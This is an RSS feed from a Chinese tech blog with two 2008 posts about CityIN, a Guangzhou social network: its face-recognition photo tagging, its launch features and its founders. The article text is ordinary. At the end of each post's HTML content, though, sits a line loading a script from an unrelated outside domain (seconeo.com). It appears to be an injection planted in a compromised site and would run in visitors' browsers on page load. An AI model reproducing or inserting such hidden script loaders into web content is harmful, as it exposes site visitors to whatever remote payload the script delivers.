<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>动点博客 MOBINODE &#187; 百变城市</title>
	<atom:link href="http://www.mobinode.com/chinese/archives/tag/%e7%99%be%e5%8f%98%e5%9f%8e%e5%b8%82/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mobinode.com/chinese</link>
	<description>关注国内外互联网</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:56:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>CityIN应用人脸自动识别技术，轻松为头像制作标签</title>
		<link>http://www.mobinode.com/chinese/archives/84</link>
		<comments>http://www.mobinode.com/chinese/archives/84#comments</comments>
		<pubDate>Thu, 20 Mar 2008 11:00:46 +0000</pubDate>
		<dc:creator>卢刚</dc:creator>
				<category><![CDATA[中国Web2.0]]></category>
		<category><![CDATA[CityIn]]></category>
		<category><![CDATA[MyHeritage]]></category>
		<category><![CDATA[人脸识别]]></category>
		<category><![CDATA[百变城市]]></category>

		<guid isPermaLink="false">http://www.mobinode.com/chinese/?p=84</guid>
		<description><![CDATA[虽然刚刚上线，但是团队在广州的CityIN已经有志于成为亚洲社交网络市场上的领先者。今天，CityIN再次发布了一项新功能:将使用人脸自动识别技术用于在图片中对头像进行标签。 在这项技术的帮助下，用户不需要再像使用Facebook和Flickr的相册时那样，花费心思从照片中找出自己的朋友来。他们只需上传相片，系统就会自动识别其中的人脸，轻松地制作成标签。 人脸识别技术之前曾被应用于Myhertage.com，通过对比照片中的人脸，让用户了解自己和哪位名人长得相像。CityIN首先在社交网络平台上采用了这项技术。在中国互联网市场上还普遍缺乏创新氛围的大环境下，CityIN团队的积极创新的表现的确令人印象深刻。 下面的这张图片，向大家简单展示了如何使用这项功能。]]></description>
			<content:encoded><![CDATA[<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><img src="http://www.mobinode.com/wp-content/uploads/2008/03/cityin-logo-white-thumb.gif" style="border: 1px solid grey; padding: 1px" align="left" height="81" width="240" /><span>虽然刚刚上线，但是团队在广州的</span><span style="font-family: Arial" lang="EN-US"><a href="http://www.mobinode.com/chinese/?p=79">CityIN</a>已经</span><span>有志于成为亚洲社交网络市场上的领先者<wbr></wbr>。今天<wbr></wbr>，</span><span style="font-family: Arial" lang="EN-US">CityIN再次发布了一项新功能:</span><span>将使用人脸自动识别技术用于在图片中对头像进行标签。</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span>在这项技术的帮助下，用户不需要再像使用</span><span style="font-family: Arial" lang="EN-US">Facebook</span><span>和</span><span style="font-family: Arial" lang="EN-US">Flickr</span><span>的相册时那样，花费心思从照片中找出自己的朋友来<wbr></wbr>。他们只需上传相片，系统就会自动识别其中的人脸<wbr></wbr>，轻松地制作成标签。</span></p>
<p style="margin: 0cm 0cm 0pt"><span>人脸识别技术之前曾被应用于</span><span style="font-family: Arial" lang="EN-US"><a href="http://www.mobinode.com/chinese/?p=58" target="_blank">Myhertage.com</a></span><span>，通过对比照片中的人脸，让用户了解自己和哪位名人长得相像。</span><span style="font-family: Arial" lang="EN-US">CityIN</span><span>首先在社交网络平台上采用了这项技术。在中国互联网市场上还普遍缺<wbr></wbr>乏创新氛围的大环境下，</span><span style="font-family: Arial" lang="EN-US">CityIN</span><span>团队的积极创新的表现的确令人印象深刻。</span></p>
<p style="margin: 0cm 0cm 0pt"><span>下面的这张图片，向大家简单展示了如何使用这项功能。</span></p>
<p style="margin: 0cm 0cm 0pt"><img src="http://www.mobinode.com/wp-content/uploads/2008/03/cityin-steps123.png" style="border: 1px solid grey; padding: 1px" height="518" width="452" /></p>
<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mobinode.com/chinese/archives/84/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>别具一格的社交网络,CityIN正式上线</title>
		<link>http://www.mobinode.com/chinese/archives/79</link>
		<comments>http://www.mobinode.com/chinese/archives/79#comments</comments>
		<pubDate>Mon, 17 Mar 2008 00:57:08 +0000</pubDate>
		<dc:creator>卢刚</dc:creator>
				<category><![CDATA[中国Web2.0]]></category>
		<category><![CDATA[CityIn]]></category>
		<category><![CDATA[QR码]]></category>
		<category><![CDATA[Wazhua]]></category>
		<category><![CDATA[百变城市]]></category>
		<category><![CDATA[社交网络]]></category>

		<guid isPermaLink="false">http://www.mobinode.com/chinese/?p=79</guid>
		<description><![CDATA[来自广州的CityIN.com,是一个设计精良的全新的社交网络平台，前两天正式公开发布。目前网站包含了三项很有趣的功能：QQ联系人导入，二维QR码，用户喜好学习。 1. QQ联系人导入 联系人导入功能，十分有益于用户在社交网络平台上建立和维护自己的朋友圈子。与其他许多社交网络平台一样，用户能将自己在Gmail，Hotmail，Yahoo邮箱中的联系人导入CityIN平台。而对于大多数中国用户而言，他们只使用一款本土的聊天工具QQ；通过QQ的通讯协议，CityIn如果不是唯一的话，也是极少数的能够支持QQ导入的社交网络平台。 2. 第一个采用二维QR码技术的社交网络平台 二维QR码不仅仅被应用于RSS订阅，也可以方便用户将各种社交活动信息存储到手机中。在CityIN上，每一条用户发布的社交活动信息都对应一个二维QR码图形，用户只需要用手机的摄像头扫描一下QR码图形，不超过4296个的英文字符（大约1000多个中文字符）就会被自动读取到他们的手机中。 3. 学习用户喜好 在用户浏览“兴趣娱乐”栏目时，他们可以任意选择和添加自己喜欢的内容，例如，一部电影，一种汽车品牌以及庆祝活动。用户还可以针对这些内容进行评分，同时了解他们的朋友或者校友的评分情况。根据兴趣和背景的相似性，网站为用户推荐朋友，让他们为喜欢的内容评分，参与他们喜欢的线下活动。 在中国的社交网络市场上，大量的网站只是在复制国外的模式。CityIN毫无疑问是其中的少数例外。目前整个网站的功能都做的不错，我认为接下来需要尽快解决的问题是如何进一步充分利用这些功能，提高用户体验。就我个人而言，登录网站后发现有太多的内容呈现眼前，对于应该先做什么、以及如何正确有效的使用相关功能，还有些茫然无措。 CityIN的创始人是两位年轻人Simon Chan和Alex Tam。Simon曾在2007年创办了Wazhua。他们的公司在2007年早些时候，得到了Dr.Samson Tam提供的天使投资。Dr.Tam曾经投资研发了首款中英文双语电子词典，目前是香港一家上市公司的主席。CityIN现在有11名员工，公司总部目前位于广州。 Simon表示：“我们非常清楚中国用户的需求。相信未来CityIN一定能成为市场的领先者，因为我们拥有平均年龄只有24岁的年轻团队，我们有能力开拓创新，带给亚洲地区的用户新鲜的社交体验。”]]></description>
			<content:encoded><![CDATA[<p><img style="border-right: #999 1px solid; padding-right: 1px; border-top: #999 1px solid; padding-left: 1px; padding-bottom: 1px; margin: 5px 10px 0px 0px; border-left: #999 1px solid; padding-top: 1px; border-bottom: #999 1px solid" height="65" src="http://www.mobinode.com/wp-content/uploads/2008/03/cityin-logo-white-thumb.gif" width="193" align="left"> 来自广州的<a href="http://www.cityin.com/">CityIN.com</a>,是一个设计精良的全新的社交网络平台，前两天正式公开发布。目前网站包含了三项很有趣的功能：QQ联系人导入，二维QR码，用户喜好学习。
<p><strong>1. QQ联系人导入</strong>
<p>联系人导入功能，十分有益于用户在社交网络平台上建立和维护自己的朋友圈子。与其他许多社交网络平台一样，用户能将自己在Gmail，Hotmail，Yahoo邮箱中的联系人导入CityIN平台。而对于大多数中国用户而言，他们只使用一款本土的聊天工具QQ；通过QQ的通讯协议，CityIn如果不是唯一的话，也是极少数的能够支持QQ导入的社交网络平台。
<p><strong>2. 第一个采用二维QR码技术的社交网络平台</strong>
<p><a href="http://en.wikipedia.org/wiki/QR_Code">二维QR码</a>不仅仅<a href="http://www.mobinode.com/?p=84">被应用于RSS订阅</a>，也可以方便用户将各种社交活动信息存储到手机中。在CityIN上，每一条用户发布的社交活动信息都对应一个二维QR码图形，用户只需要用手机的摄像头扫描一下QR码图形，不超过4296个的英文字符（大约1000多个中文字符）就会被自动读取到他们的手机中。
<p><strong>3. 学习用户喜好</strong>
<p>在用户浏览“兴趣娱乐”栏目时，他们可以任意选择和添加自己喜欢的内容，例如，一部电影，一种汽车品牌以及庆祝活动。用户还可以针对这些内容进行评分，同时了解他们的朋友或者校友的评分情况。根据兴趣和背景的相似性，网站为用户推荐朋友，让他们为喜欢的内容评分，参与他们喜欢的线下活动。
<p>在中国的社交网络市场上，大量的网站只是在复制国外的模式。CityIN毫无疑问是其中的少数例外。目前整个网站的功能都做的不错，我认为接下来需要尽快解决的问题是如何进一步充分利用这些功能，提高用户体验。就我个人而言，登录网站后发现有太多的内容呈现眼前，对于应该先做什么、以及如何正确有效的使用相关功能，还有些茫然无措。
<p>CityIN的创始人是两位年轻人Simon Chan和Alex Tam。Simon曾在2007年创办了<a href="http://www.mobinode.com/?p=152">Wazhua</a>。他们的公司在2007年早些时候，得到了Dr.Samson Tam提供的天使投资。Dr.Tam曾经投资研发了首款中英文双语电子词典，目前是香港一家上市公司的主席。CityIN现在有11名员工，公司总部目前位于广州。
<p>Simon表示：“我们非常清楚中国用户的需求。相信未来CityIN一定能成为市场的领先者，因为我们拥有平均年龄只有24岁的年轻团队，我们有能力开拓创新，带给亚洲地区的用户新鲜的社交体验。”
<p><img style="border-right: #999 1px solid; padding-right: 1px; border-top: #999 1px solid; padding-left: 1px; padding-bottom: 1px; border-left: #999 1px solid; padding-top: 1px; border-bottom: #999 1px solid" src="http://www.mobinode.com/wp-content/uploads/2008/03/cityin-screenshot-thumb.gif"></p>
<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mobinode.com/chinese/archives/79/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
